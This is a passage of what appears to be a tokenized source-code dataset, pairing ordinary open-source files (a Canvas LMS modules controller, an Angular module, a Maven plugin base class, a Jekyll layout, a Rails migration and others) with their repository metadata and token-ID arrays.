result[:next_item] = @tags.detect{|t| t.id != result[:current_item].id && t.context_module_id == result[:current_item].context_module_id && t.position && t.position >= result[:current_item].position && t.content_type != "ContextModuleSubHeader" }
current_module = @modules.detect{|m| m.id == result[:current_item].context_module_id}
if current_module
result[:previous_module] = @modules.reverse.detect{|m| (m.position || 0) < (current_module.position || 0) }
result[:next_module] = @modules.detect{|m| (m.position || 0) > (current_module.position || 0) }
end
end
render :json => result
end
end
include ContextModulesHelper
def add_item
@module = @context.context_modules.not_deleted.find(params[:context_module_id])
if authorized_action(@module, @current_user, :update)
@tag = @module.add_item(params[:item])
unless @tag.valid?
return render :json => @tag.errors, :status => :bad_request
end
json = @tag.as_json
json['content_tag'].merge!(
publishable: module_item_publishable?(@tag),
published: @tag.published?,
publishable_id: module_item_publishable_id(@tag),
unpublishable: module_item_unpublishable?(@tag),
graded: @tag.graded?,
content_details: content_details(@tag, @current_user),
assignment_id: @tag.assignment.try(:id),
is_cyoe_able: cyoe_able?(@tag),
is_duplicate_able: @tag.duplicate_able?,
)
render json: json
end
end
def remove_item
@tag = @context.context_module_tags.not_deleted.find(params[:id])
if authorized_action(@tag.context_module, @current_user, :update)
@module = @tag.context_module
@tag.destroy
render :json => @tag
end
end
def update_item
@tag = @context.context_module_tags.not_deleted.find(params[:id])
if authorized_action(@tag.context_module, @current_user, :update)
@tag.title = params[:content_tag][:title] if params[:content_tag] && params[:content_tag][:title]
@tag.url = params[:content_tag][:url] if %w(ExternalUrl ContextExternalTool).include?(@tag.content_type) && params[:content_tag] && params[:content_tag][:url]
@tag.indent = params[:content_tag][:indent] if params[:content_tag] && params[:content_tag][:indent]
@tag.new_tab = params[:content_tag][:new_tab] if params[:content_tag] && params[:content_tag][:new_tab]
unless @tag.save
return render :json => @tag.errors, :status => :bad_request
end
@tag.update_asset_name!(@current_user) if params[:content_tag][:title]
render :json => @tag
end
end
def progressions
if authorized_action(@context, @current_user, :read)
if request.format == :json
if @context.grants_right?(@current_user, session, :view_all_grades)
if params[:user_id] && @user = @context.students.find(params[:user_id])
@progressions = @context.context_modules.active.map{|m| m.evaluate_for(@user) }
else
if @context.large_roster
@progressions = []
else
context_module_ids = @context.context_modules.active.pluck(:id)
@progressions = ContextModuleProgression.where(:context_module_id => context_module_ids).each{|p| p.evaluate }
end
end
elsif @context.grants_right?(@current_user, session, :participate_as_student)
@progressions = @context.context_modules.active.order(:id).map{|m| m.evaluate_for(@current_user) }
else
# module progressions don't apply, but unlock_at still does
@progressions = @context.context_modules.active.order(:id).map do |m|
{ :context_module_progression =>
{ :context_module_id => m.id,
:workflow_state => (m.to_be_unlocked ? 'locked' : 'unlocked'),
:requirements_met => [],
:incomplete_requirements => [] } }
end
end
render :json => @progressions
elsif !@context.grants_right?(@current_user, session, :view_all_grades)
@restrict_student_list = true
student_ids = @context.observer_enrollments.for_user(@current_user).map(&:associated_user_id)
student_ids << @current_user.id if @context.user_is_student?(@current_user)
students = UserSearch.scope_for(@context, @current_user, {:enrollment_type => 'student'}).where(:id => student_ids)
@visible_students = students.map { |u| user_json(u, @current_user, session) }
end
end
end
def update
@module = @context.context_modules.not_deleted.find(params[:id])
if authorized_action(@module, @current_user, :update)
if params[:publish]
@module.publish
@module.publish_items!
elsif params[:unpublish]
@module.unpublish
end
if @module.update_attributes(context_module_params)
json = @module.as_json(:include => :content_tags, :methods => :workflow_state, :permissions => {:user => @current_user, :session => session})
json['context_module']['relock_warning'] = true if @module.relock_warning?
render :json => json
else
render :json => @module.errors, :status => :bad_request
end
end
end
def destroy
@module = @context.context_modules.not_deleted.find(params[:id])
if authorized_action(@module, @current_user, :delete)
@module.destroy
respond_to do |format|
format.html { redirect_to named_context_url(@context, :context_context_modules_url) }
format.json { render :json => @module.as_json(:methods => :workflow_state) }
end
end
end
private
def preload_assignments_and_quizzes(tags, user_is_admin)
assignment_tags = tags.select{|ct| ct.can_have_assignment?}
return unless assignment_tags.any?
ActiveRecord::Associations::Preloader.new.preload(assignment_tags, :content)
content_with_assignments = assignment_tags.
select{|ct| ct.content_type != "Assignment" && ct.content.assignment_id}.map(&:content)
ActiveRecord::Associations::Preloader.new.preload(content_with_assignments, :assignment) if content_with_assignments.any?
if user_is_admin && should_preload_override_data?
assignments = assignment_tags.map(&:assignment).compact
plain_quizzes = assignment_tags.select{|ct| ct.content.is_a?(Quizzes::Quiz) && !ct.content.assignment}.map(&:content)
preload_has_too_many_overrides(assignments, :assignment_id)
preload_has_too_many_overrides(plain_quizzes, :quiz_id)
overrideables = (assignments + plain_quizzes).select{|o| !o.has_too_many_overrides}
if overrideables.any?
ActiveRecord::Associations::Preloader.new.preload(overrideables, :assignment_overrides)
overrideables.each { |o| o.has_no_overrides = true if o.assignment_overrides.size == 0 }
end
end
end
def should_preload_override_data?
key = ['preloaded_module_override_data', @context.global_asset_string, @current_user].cache_key
# if the user has been touched we should preload all of the overrides because it's almost certain we'll need them all
if Rails.cache.read(key)
false
else
Rails.cache.write(key, true)
true
end
end
def preload_has_too_many_overrides(assignments_or_quizzes, override_column)
# find the assignments/quizzes with too many active overrides and mark them as such
if assignments_or_quizzes.any?
ids = AssignmentOverride.active.where(override_column => assignments_or_quizzes).
group(override_column).having("COUNT(*) > ?", Setting.get('assignment_all_dates_too_many_threshold', '25').to_i).
active.pluck(override_column)
if ids.any?
assignments_or_quizzes.each{|o| o.has_too_many_overrides = true if ids.include?(o.id) }
end
end
end
def context_module_params
params.require(:context_module).permit(:name, :unlock_at, :require_sequential_progress, :publish_final_grade, :requirement_count,
:completion_requirements => strong_anything, :prerequisites => strong_anything)
end
end
| venturehive/canvas-lms | app/controllers/context_modules_controller.rb | Ruby | agpl-3.0 | 29,429 | [
30522,
1001,
1001,
9385,
1006,
1039,
1007,
2249,
1011,
2556,
16021,
18300,
5397,
1010,
4297,
1012,
1001,
1001,
2023,
5371,
2003,
2112,
1997,
10683,
1012,
1001,
1001,
10683,
2003,
2489,
4007,
1024,
2017,
2064,
2417,
2923,
3089,
8569,
2618,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
function ga() {}
var _gaq = []
| NonLogicalDev/ucsd_cat125 | client/scripts/ga.js | JavaScript | mit | 31 | [
30522,
3853,
11721,
1006,
1007,
1063,
1065,
13075,
1035,
11721,
4160,
1027,
1031,
1033,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
//
// YYBaseLib.h
// YYBaseLib
//
// Created by 银羽网络 on 16/7/19.
// Copyright © 2016年 银羽网络. All rights reserved.
//
#import <UIKit/UIKit.h>
#import "AppConfig.h"
#import "BaseViewController.h"
#import "CommonTool.h"
#import "DataVerify.h"
#import "FSMediaPicker.h"
#import "MBProgressHUD+MBProgressHUD_Category.h"
#import "EnumModel.h"
#import "UsersModel.h"
#import "NSDataAdditions.h"
#import "NSDate_Extensions.h"
#import "NSDictionary_Extensions.h"
#import "NSObject_Extensions.h"
#import "NSString_Extensions.h"
#import "UIImageExtentions.h"
#import "UILabel_Extensions.h"
#import "PopupBaseView.h"
#import "SDCycleScrollView.h"
#import "UIButton+FillColor.h"
#import "UIColor_Extensions.h"
#import "UIImage+UIImage.h"
#import "UIImage+UIImageScale.h"
#import "UITableView+FDTemplateLayoutCell.h"
#import "UITextView+Placeholder.h"
#import "UIView+extensions.h"
#import "UIView+Masonry.h"
#import "AuthService.h"
#import "AppManager.h"
#import "ApiService.h"
#import "GTMBase64.h"
#import "GTMDefines.h"
#import "ConsultGradeModel.h"
#import "CategoryModel.h"
#import "CityModel.h"
#import "MenuModel.h"
//! Project version number for YYBaseLib.
FOUNDATION_EXPORT double YYBaseLibVersionNumber;
//! Project version string for YYBaseLib.
FOUNDATION_EXPORT const unsigned char YYBaseLibVersionString[];
// In this header, you should import all the public headers of your framework using statements like #import <YYBaseLib/PublicHeader.h>
| chuanxiaoshi/YYBaseLib | YYBaseLib.framework/Headers/YYBaseLib.h | C | mit | 1,471 | [
30522,
1013,
1013,
1013,
1013,
1061,
2100,
15058,
29521,
1012,
1044,
1013,
1013,
1061,
2100,
15058,
29521,
1013,
1013,
1013,
1013,
2580,
2011,
100,
100,
100,
100,
2006,
2385,
1013,
1021,
1013,
2539,
1012,
1013,
1013,
9385,
1075,
2355,
184... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
import { NgModule } from '@angular/core';
import { RouterModule } from '@angular/router';
import { SlidesModule, SlidesRoutes } from '@ng360/slides';
import { FeedbackModule } from '@codelab/feedback';
import { CommonModule } from '@angular/common';
import { BrowserWindowModule } from '@codelab/browser';
import { CodeDemoModule } from '@codelab/code-demos';
import { FormsModule } from '@angular/forms';
import { IntroComponent } from './intro.component';
@NgModule({
imports: [
RouterModule.forChild([...SlidesRoutes.get(IntroComponent)]),
FeedbackModule,
CommonModule,
CodeDemoModule,
BrowserWindowModule,
CodeDemoModule,
SlidesModule,
FormsModule
],
declarations: [IntroComponent],
exports: [IntroComponent]
})
export class IntroModule {}
| nycJSorg/angular-presentation | libs/intro/src/lib/intro.module.ts | TypeScript | apache-2.0 | 785 | [
30522,
12324,
1063,
12835,
5302,
8566,
2571,
1065,
2013,
1005,
1030,
16108,
1013,
4563,
1005,
1025,
12324,
1063,
2799,
10867,
7716,
9307,
1065,
2013,
1005,
1030,
16108,
1013,
2799,
2099,
1005,
1025,
12324,
1063,
14816,
5302,
8566,
2571,
101... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
require 'googleanalytics/mobile'
| mono0x/googleanalytics-mobile | lib/googleanalytics-mobile.rb | Ruby | mit | 33 | [
30522,
5478,
1005,
8224,
27953,
21252,
2015,
1013,
4684,
1005,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<!doctype html>
<!--[if lt IE 7]><html class="no-js lt-ie9 lt-ie8 lt-ie7" lang="en"> <![endif]-->
<!--[if (IE 7)&!(IEMobile)]><html class="no-js lt-ie9 lt-ie8" lang="en"><![endif]-->
<!--[if (IE 8)&!(IEMobile)]><html class="no-js lt-ie9" lang="en"><![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en"><!--<![endif]-->
<head>
{% include _head.html %}
</head>
<body class="page">
{% include _browser-upgrade.html %}
{% include _navigation.html %}
{% if page.image.feature %}
<div class="image-wrap">
<img src=
{% if page.image.feature contains 'http://' %}
"{{ page.image.feature }}"
{% elsif page.image.feature contains 'https://' %}
"{{ page.image.feature }}"
{% else %}
"{{ site.url }}/images/{{ page.image.feature }}"
{% endif %}
alt="{{ page.title }} feature image">
{% if page.image.credit %}
<span class="image-credit">Photo Credit: <a href="{{ page.image.creditlink }}">{{ page.image.credit }}</a></span>
{% endif %}
</div><!-- /.image-wrap -->
{% endif %}
<div id="main" role="main">
<div class="article-author-side">
{% include _author-bio.html %}
</div>
<article>
<h1>{{ page.title }}</h1>
<div class="article-wrap">
{{ content }}
</div><!-- /.article-wrap -->
{% if site.disqus_shortname and page.comments %}
<section id="disqus_thread"></section><!-- /#disqus_thread -->
{% endif %}
</article>
</div><!-- /#index -->
<div class="footer-wrap">
<footer>
{% include _footer.html %}
</footer>
</div><!-- /.footer-wrap -->
{% include _scripts.html %}
</body>
</html>
| arg0s/arg0s.in | _layouts/page.html | HTML | gpl-2.0 | 1,596 | [
30522,
1026,
999,
9986,
13874,
16129,
1028,
1026,
999,
1011,
1011,
1031,
2065,
8318,
29464,
1021,
1033,
1028,
1026,
16129,
2465,
1027,
1000,
2053,
1011,
1046,
2015,
8318,
1011,
29464,
2683,
8318,
1011,
29464,
2620,
8318,
1011,
29464,
2581,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Top</TITLE>
<META http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script type="text/javascript">
<!--
function ZweiFrames(URL1,F1,URL2,F2)
{
parent.frames[F1].location.href=URL1;
parent.frames[F2].location.href=URL2;
}
//-->
</script>
</HEAD>
<BODY BGCOLOR="#ffffff">
<CENTER>
<TABLE BORDER="1" CELLSPACING="0" BGCOLOR="#d0d0d0">
<TR><TH><TH>Sohaib_Ahmad_sohaib.cpp (97.0%)<TH>Sohaib_Ahmad_sohaib 05076.cpp (97.0%)<TH>Tokens
<TR><TD BGCOLOR="#0000ff"><FONT COLOR="#0000ff">-</FONT><TD><A HREF="javascript:ZweiFrames('match3-0.html#0',2,'match3-1.html#0',3)" NAME="0">Sohaib_Ahmad_sohaib.cpp(5-18)<TD><A HREF="javascript:ZweiFrames('match3-0.html#0',2,'match3-1.html#0',3)" NAME="0">Sohaib_Ahmad_sohaib 05076.cpp(5-18)</A><TD ALIGN=center><FONT COLOR="#2d0000">45</FONT>
<TR><TD BGCOLOR="#f63526"><FONT COLOR="#f63526">-</FONT><TD><A HREF="javascript:ZweiFrames('match3-0.html#1',2,'match3-1.html#1',3)" NAME="1">Sohaib_Ahmad_sohaib.cpp(20-55)<TD><A HREF="javascript:ZweiFrames('match3-0.html#1',2,'match3-1.html#1',3)" NAME="1">Sohaib_Ahmad_sohaib 05076.cpp(18-59)</A><TD ALIGN=center><FONT COLOR="#3d0000">61</FONT>
<TR><TD BGCOLOR="#77bfc7"><FONT COLOR="#77bfc7">-</FONT><TD><A HREF="javascript:ZweiFrames('match3-0.html#2',2,'match3-1.html#2',3)" NAME="2">Sohaib_Ahmad_sohaib.cpp(56-82)<TD><A HREF="javascript:ZweiFrames('match3-0.html#2',2,'match3-1.html#2',3)" NAME="2">Sohaib_Ahmad_sohaib 05076.cpp(67-94)</A><TD ALIGN=center><FONT COLOR="#220000">34</FONT>
<TR><TD BGCOLOR="#6cc417"><FONT COLOR="#6cc417">-</FONT><TD><A HREF="javascript:ZweiFrames('match3-0.html#3',2,'match3-1.html#3',3)" NAME="3">Sohaib_Ahmad_sohaib.cpp(87-245)<TD><A HREF="javascript:ZweiFrames('match3-0.html#3',2,'match3-1.html#3',3)" NAME="3">Sohaib_Ahmad_sohaib 05076.cpp(95-251)</A><TD ALIGN=center><FONT COLOR="#ff0000">251</FONT>
<TR><TD BGCOLOR="#151b8d"><FONT COLOR="#151b8d">-</FONT><TD><A HREF="javascript:ZweiFrames('match3-0.html#4',2,'match3-1.html#4',3)" NAME="4">Sohaib_Ahmad_sohaib.cpp(247-257)<TD><A HREF="javascript:ZweiFrames('match3-0.html#4',2,'match3-1.html#4',3)" NAME="4">Sohaib_Ahmad_sohaib 05076.cpp(278-286)</A><TD ALIGN=center><FONT COLOR="#0c0000">12</FONT>
<TR><TD BGCOLOR="#c8c2a7"><FONT COLOR="#c8c2a7">-</FONT><TD><A HREF="javascript:ZweiFrames('match3-0.html#5',2,'match3-1.html#5',3)" NAME="5">Sohaib_Ahmad_sohaib.cpp(258-271)<TD><A HREF="javascript:ZweiFrames('match3-0.html#5',2,'match3-1.html#5',3)" NAME="5">Sohaib_Ahmad_sohaib 05076.cpp(252-263)</A><TD ALIGN=center><FONT COLOR="#0e0000">14</FONT>
<TR><TD BGCOLOR="#50ebec"><FONT COLOR="#50ebec">-</FONT><TD><A HREF="javascript:ZweiFrames('match3-0.html#6',2,'match3-1.html#6',3)" NAME="6">Sohaib_Ahmad_sohaib.cpp(273-284)<TD><A HREF="javascript:ZweiFrames('match3-0.html#6',2,'match3-1.html#6',3)" NAME="6">Sohaib_Ahmad_sohaib 05076.cpp(266-275)</A><TD ALIGN=center><FONT COLOR="#0d0000">13</FONT>
</TABLE>
</CENTER>
</BODY>
</HTML>
| ctestlms/portal | mod/assign/Result_Assignment_ID_2014_03_05/match3-top.html | HTML | gpl-3.0 | 3,034 | [
30522,
1026,
999,
9986,
13874,
16129,
2270,
1000,
1011,
1013,
1013,
1059,
2509,
2278,
1013,
1013,
26718,
2094,
16129,
1018,
1012,
5890,
17459,
1013,
1013,
4372,
1000,
1028,
1026,
16129,
1028,
1026,
2132,
1028,
1026,
2516,
1028,
2327,
1026,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
package net.erel.maven.plugins.mojo;
import net.erel.maven.plugins.service.bugtracking.BugTrackingServiceFactory;
import net.erel.maven.plugins.service.bugtracking.BugTrackingServiceFactoryDefault;
import org.apache.maven.plugin.AbstractMojo;
import org.apache.maven.plugins.annotations.Component;
import org.apache.maven.plugins.annotations.Parameter;
import org.codehaus.plexus.components.interactivity.Prompter;
public abstract class PGXAbstractMojo extends AbstractMojo implements
BugTrackerAwareMojo {
/*
* (non-Javadoc)
*
* @see net.erel.maven.plugins.BugTrackerAwareMojo#getPrompter()
*/
@Override
public Prompter getPrompter() {
return prompter;
}
/*
* (non-Javadoc)
*
* @see net.erel.maven.plugins.BugTrackerAwareMojo#getRedmineAPIKey()
*/
@Override
public String getRedmineAPIKey() {
return redmineAPIKey;
}
/*
* (non-Javadoc)
*
* @see net.erel.maven.plugins.BugTrackerAwareMojo#getRedmineHost()
*/
@Override
public String getRedmineHost() {
return redmineHost;
}
/*
* (non-Javadoc)
*
* @see net.erel.maven.plugins.BugTrackerAwareMojo#getNexusHost()
*/
@Override
public String getNexusHost() {
return nexusHost;
}
/*
* (non-Javadoc)
*
* @see net.erel.maven.plugins.BugTrackerAwareMojo#getNexusUser()
*/
@Override
public String getNexusUser() {
return nexusUser;
}
/*
* (non-Javadoc)
*
* @see net.erel.maven.plugins.BugTrackerAwareMojo#getNexusPassword()
*/
@Override
public String getNexusPassword() {
return nexusPassword;
}
/*
* (non-Javadoc)
*
* @see net.erel.maven.plugins.BugTrackerAwareMojo#getJiraHost()
*/
@Override
public String getJiraHost() {
return jiraHost;
}
/*
* (non-Javadoc)
*
* @see net.erel.maven.plugins.BugTrackerAwareMojo#getJiraUser()
*/
@Override
public String getJiraUser() {
return jiraUser;
}
/*
* (non-Javadoc)
*
* @see net.erel.maven.plugins.BugTrackerAwareMojo#getJiraPassword()
*/
@Override
public String getJiraPassword() {
return jiraPassword;
}
@Component
protected Prompter prompter;
/**
* redmine API Key, as found in, to put as a property of the settings.xml
* for your convenience
*/
@Parameter(property = "redmineAPIKey", required = true)
protected String redmineAPIKey;
/**
* url to the redmine host repository, to put as a property of the
* settings.xml for your convenience
*/
@Parameter(property = "redmineHost", required = false, defaultValue = "")
protected String redmineHost;
/**
* url to the nexus repo, to put as a property of the settings.xml for your
* convenience
*/
@Parameter(property = "nexusHost", required = false, defaultValue = "http://repo.erel.net")
protected String nexusHost;
/**
* user to use for nexus authentication, to put as a property of the
* settings.xml for your convenience
*/
@Parameter(property = "nexusUser", required = true)
protected String nexusUser;
/**
* password to use for nexus authentication, to put as a property of the
* settings.xml for your convenience
*/
@Parameter(property = "nexusPassword", required = true)
protected String nexusPassword;
@Parameter(property = "jiraHost", required = false, defaultValue = "")
protected String jiraHost;
@Parameter(property = "jiraUser", required = false, defaultValue = "")
protected String jiraUser;
@Parameter(property = "jiraPassword", required = false, defaultValue = "")
protected String jiraPassword;
public PGXAbstractMojo() {
super();
}
public BugTrackingServiceFactory getBugTrackingFactory() {
return new BugTrackingServiceFactoryDefault(jiraHost, jiraUser,
jiraPassword, redmineAPIKey, redmineHost);
}
} | nherbaut/erel-maven-plugin | src/main/java/net/erel/maven/plugins/mojo/PGXAbstractMojo.java | Java | apache-2.0 | 3,677 | [
30522,
7427,
5658,
1012,
9413,
2884,
1012,
5003,
8159,
1012,
13354,
7076,
1012,
28017,
1025,
12324,
5658,
1012,
9413,
2884,
1012,
5003,
8159,
1012,
13354,
7076,
1012,
2326,
1012,
11829,
6494,
23177,
1012,
11829,
6494,
23177,
8043,
7903,
128... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
class AddScraperwikiNameToAuthorities < ActiveRecord::Migration[4.2]
def self.up
add_column :authorities, :scraperwiki_name, :string
end
def self.down
remove_column :authorities, :scraperwiki_name
end
end
| openaustralia/planningalerts | db/migrate/20120819091645_add_scraperwiki_name_to_authorities.rb | Ruby | gpl-2.0 | 222 | [
30522,
2465,
9909,
26775,
24065,
2099,
9148,
4939,
14074,
3406,
4887,
27844,
6447,
1026,
3161,
2890,
27108,
2094,
1024,
1024,
9230,
1031,
1018,
1012,
1016,
1033,
13366,
2969,
1012,
2039,
5587,
1035,
5930,
1024,
4614,
1010,
1024,
26988,
2099... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
